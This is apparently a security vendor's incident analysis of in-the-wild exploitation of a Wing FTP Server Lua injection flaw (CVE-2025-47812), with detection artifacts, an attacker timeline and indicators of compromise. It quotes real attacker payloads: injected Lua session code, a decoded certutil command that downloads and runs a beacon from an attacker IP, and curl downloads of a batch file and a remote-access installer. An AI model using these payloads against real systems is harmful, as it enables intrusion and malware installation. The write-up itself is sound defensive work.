TL;DR: Huntress saw active exploitation of Wing FTP Server remote code execution (CVE-2025-47812) on a customer on July 1, 2025. Organizations running Wing FTP Server should update to the fixed version, version 7.4.4, as soon as possible.
CVE-2025-47812 is a null byte and Lua injection flaw that can lead to root/SYSTEM-level remote code execution if exploited. The vulnerability was first publicly disclosed on June 30 by Julien Ahrens in versions prior to 7.4.4 of the Wing FTP Server, its file transfer protocol software for Windows, Linux, and macOS.
At a high level, CVE-2025-47812 stems from how null bytes are handled in the username parameter (specifically related to the loginok.html file, which handles the authentication process). This can allow remote attackers to perform Lua injection after using the null byte in the username parameter.
Huntress first observed exploitation on a customer on July 1, 2025, just a day after the initial write-up was published. Exploitation activity underneath the Wing FTP server process WFTPServer.exe began to ramp up at 16:15 UTC and is further detailed in our technical analysis below.
CVE-2025-47812 is centered primarily around the ability for an adversary to craft a specific input in Lua, the programming language responsible for the handling of the sessions created on Wing FTP. Sessions typically store the user's current directory, IP address, and username. By taking advantage of the null-byte injection, the adversary disrupts the anticipated input in the Lua file which stores these session characteristics. Further details of the vulnerability can be found in RCE Security’s write-up.
Huntress security researchers recreated a proof-of-concept exploit for this vulnerability, and a video demonstration is shown below:
The attack chain relies on a few specific components:
Logs for this activity can be found within the Wing FTP installation folder:
C:\Program Files (x86)\Wing FTP Server\Log\
Wing FTP organizes its logs into three folders:
Evidence of exploitation can be found in logs within the “Domain” folder, but note that Wing FTP separates logs by the different domain names that this server handles, so the subdirectory name underneath this path varies. The logs are saved with a date format YYYY-M-D.log.
For example, a log entry from this proof-of-concept exploitation would be in the path:
C:\Program Files (x86)\Wing FTP Server\Log\Domains\wingftp.local\2025-7-7.log
With the contents:
[01] Mon, 07 Jul 2025 12:51:23 Domain has been started.
[01] Mon, 07 Jul 2025 12:51:24 FTP server starts listening on port 21.
[01] Mon, 07 Jul 2025 12:51:24 FTPS server starts listening on port 990.
[01] Mon, 07 Jul 2025 12:51:24 HTTP server starts listening on port 80.
[01] Mon, 07 Jul 2025 12:51:24 HTTPS server starts listening on port 443.
[06] Mon, 07 Jul 2025 12:56:26 (0000001) User 'anonymous
Using this log file alone, the only line that is indicative of exploitation is the truncated entry:
User ‘anonymous
Note the missing closing ‘ single-quote—this is the null-byte breaking the entry in the log file. In this case, the anonymous user was targeted because it didn't need credentials to log in, but any other valid username with a correct password could be used to create a session and leverage this vulnerability.
For a normal login, not an artifact of exploitation, that log entry naturally looks like:
User 'anonymous' logged in ok! (IP:::1)
…. including the IP address of the authenticating client. Unfortunately, that detail is truncated when the log is generated from an exploitation attempt—however, the IP address will be included in the session object files themselves!
You may also find a log entry stating:
List ok
This is from a user listing files on the FTP service, like when they visit dir.html. While this can be utilized in the attack chain and exploit, bear in mind the adversary could choose any other endpoint or functionality to trigger Wing FTP to load the stored session info.
The best source of truth to identify exploitation is reviewing the session object files themselves, named with 64 hexadecimal character filenames and .lua file extensions in this directory:
C:\Program Files (x86)\Wing FTP Server\session
Since every interaction with a machine will ultimately leave some type of artifacts, we began analyzing the sessions currently stored on the compromised host. Several sessions stood out to us as anomalous, chiefly due to file size. The data stored in these sessions is relatively small, so inflated file sizes indicate the inclusion of additional information.
A typical session file may look as such:
_SESSION['username']=[[johndoe]]
_SESSION['ipaddress']=[[123.123.123.123]]
_SESSION['currentpath']=[[/]]
To contrast, our adversary passed a valid Lua function that contained a hex-encoded command, which is decoded and passed to Windows' cmd.exe:
_SESSION['username']=[[anonymous]]
local function hx(s)
return (s:gsub('..', function(x)
return string.char(tonumber(x,16))
end))
end
local cmd = hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865")
local h = io.popen(cmd)
local r = h:read("*a")
h:close()
--]]
_SESSION['ipaddress']=[[185[.]196[.]9[.]225]]
_SESSION['currentpath']=[[/]]
If we decode the hex blob in the hx() function above using Python, we get the following command, which was attempted to execute on the host:
% python3 -c 'print(bytes.fromhex("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865").decode("ascii"))'
certutil -urlcache -f http://185.196.9.225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe
The main takeaway here is that while some of the fields remained similar to that which we saw in a normal session file, most of the function code stands out as something to investigate further.
Early in the morning, around 8:43 am UTC, the first of several different attackers began scoping to see if they could connect to the victim’s machine. They made several connection attempts within a 12-minute time span. Almost an hour later, connections began from a second IP address, attempting several connection attempts.
At this point, there was a bit of silence on the machine for a span of about six hours before the next attack began. Through examining a combination of process executions, Lua files, and log data, we were able to piece together a timeline of the attackers’ activities. It seems like the attacker (the fourth one we had seen this day) had a difficult time running some commands, maybe due to their unfamiliarity with them, or because Microsoft Defender stopped part of their attack.
We observed a number of enumeration and reconnaissance commands at around 16:15 UTC:
We also observed the adversary creating new users for persistence:
They then seemed to check on details of users, perhaps to verify that their newly created users were there, and privilege information (in addition to a random arp -a command):
The commands that followed were poorly constructed and failed. As seen in the following figure, the attacker tried to run an executable whose path was (errantly) c:^A.exe, where ^A represents the “Start of Heading” (SOH) character. It’s unclear how or why they even managed to type that out. There were also tabs in the paths for the test file where they had redirected their output for some reason, which resulted in failure:
The attacker then began continued “reconnaissance,” or more likely tried to test their access:
C:\WINDOWS\system32\cmd.exe /c powershell -c get-childitem c: | out-file c:dir.txt -encoding ascii; type c:dir.txt
The actor tested the use of curl, looked up how to use it, and actually tried to connect to a webhook site to track infections (which we verified was actually successful):
While the webhook endpoint is now expired and offline, we could see the connection made from the target host, including the “con” keyword used as POST form data.
After a couple more whoami commands, the attacker then tried to run a batch file, which failed since it wasn’t yet on the system. This made them check which user they were, yet again:
A Lua file appeared on the system, which would have effectively downloaded the aforementioned missing batch file, except that they messed up the curl command. Also, the dir command that was included at the end is not a binary, but a built-in command internal to cmd.exe, so it wouldn’t have worked here either (a common mistake made by rookie attackers):
--]]t(r)) h:read(""*a"")rl -o c:\1.bat
https://pastebin.com/raw/vqqtr8mg& dir c:\"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
They then tried to run their batch file one more time. This must have been frustrating for them when it didn’t work:
C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat
At this point, they opted for installing ScreenConnect, for a better experience that might have made them more successful. There was a Lua file to download the installer that appeared at this time on the system:
local h = io.popen(""curl -o c:\1.msi https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e]]
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
We recovered the MSI file from the download link, and extracted the connection string from it: instance-y9tbyl-relay.screenconnect[.]com. There was no evidence that they tried to run the MSI file or that ScreenConnect was installed. At this point, they may have “phoned a friend” since another attacker connected to the machine, as evidenced by Lua files with a different IP address. (This was the fifth attacker seen on this machine.)
The (fourth) attacker then ran PowerShell, but sadly, whatever they were trying to run in PowerShell crashed, as found in the Application Event Log (ID 1001):
C:\WINDOWS\system32\cmd.exe /c powershell.exe
So then they tried to run another beacon instead, as seen by the following Lua file:
local cmd = hx(""636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e657865202620737461--]]ose() h:read(""*a""))55c6d76766569574a48782e657865"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
As we mentioned earlier in this blog, this command is essentially downloading and execute the beacon using certutil:
certutil -urlcache -f http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe
Unfortunately for the attacker, Microsoft Defender ate the resulting file before they could run it, and an alert with the following name was sent: Trojan:Win32/Ceprolad.A. At this point, WFTPServer.exe crashed, and disconnected the attackers, which was seen by the WerFault.exe process starting, against the PID of the WFTPServer.exe process, as well as entries at the same time in the Application Event Log with IDs 1000, and 1001, for WFTPServer.exe.
C:\WINDOWS\system32\WerFault.exe -u -p 3792 -s 4744
Thus concluded the painful journey of these attackers, as the machine was also isolated shortly afterwards.
Despite the threat actors’ unavailing activity, this incident shows that CVE-2025-47812 is being actively targeted at this point. While we’ve only seen exploitation activity on one customer as of July 8, 2025, organizations can best protect themselves by updating to version 7.4.4.
Special thanks to analysts, researchers, and all involved in response to this incident and their contributions to this blog: Tanner Filip, Matt Anderson, Craig Sweeney, and Alden Schmidt.
Command Shell from Wing FTP Server
Item |
Description |
223.160.131[.]104 |
1st Attacker IP |
149.248.44[.]88 |
2nd Attacker IP |
103.88.141[.]42 |
3rd Attacker IP |
185.196.9[.]225 |
4th (Bumbling) Attacker IP |
146.70.11[.]39 |
5th Attacker IP |
https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81 |
Webhook site |
123123qweqwe |
Password used for attacker accounts |
123123qweqweq |
Password used for one attacker account |
wing |
Backdoor username created by attacker |
wingftp |
Backdoor username created by attacker |
URL: http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\\mvveiWJHx.exe SHA256: c637ec00bd22da4539ec6def89cd9f7196a303d17632b1131a89d65e4f5698f4 |
Beacon |
Trojan:Win32/Ceprolad.A |
Microsoft Defender detection |
URL: https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi PATH: c:\1.msi |
ScreenConnect installer |
instance-y9tbyl-relay.screenconnect[.]com |
ScreenConnect callback url |
Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.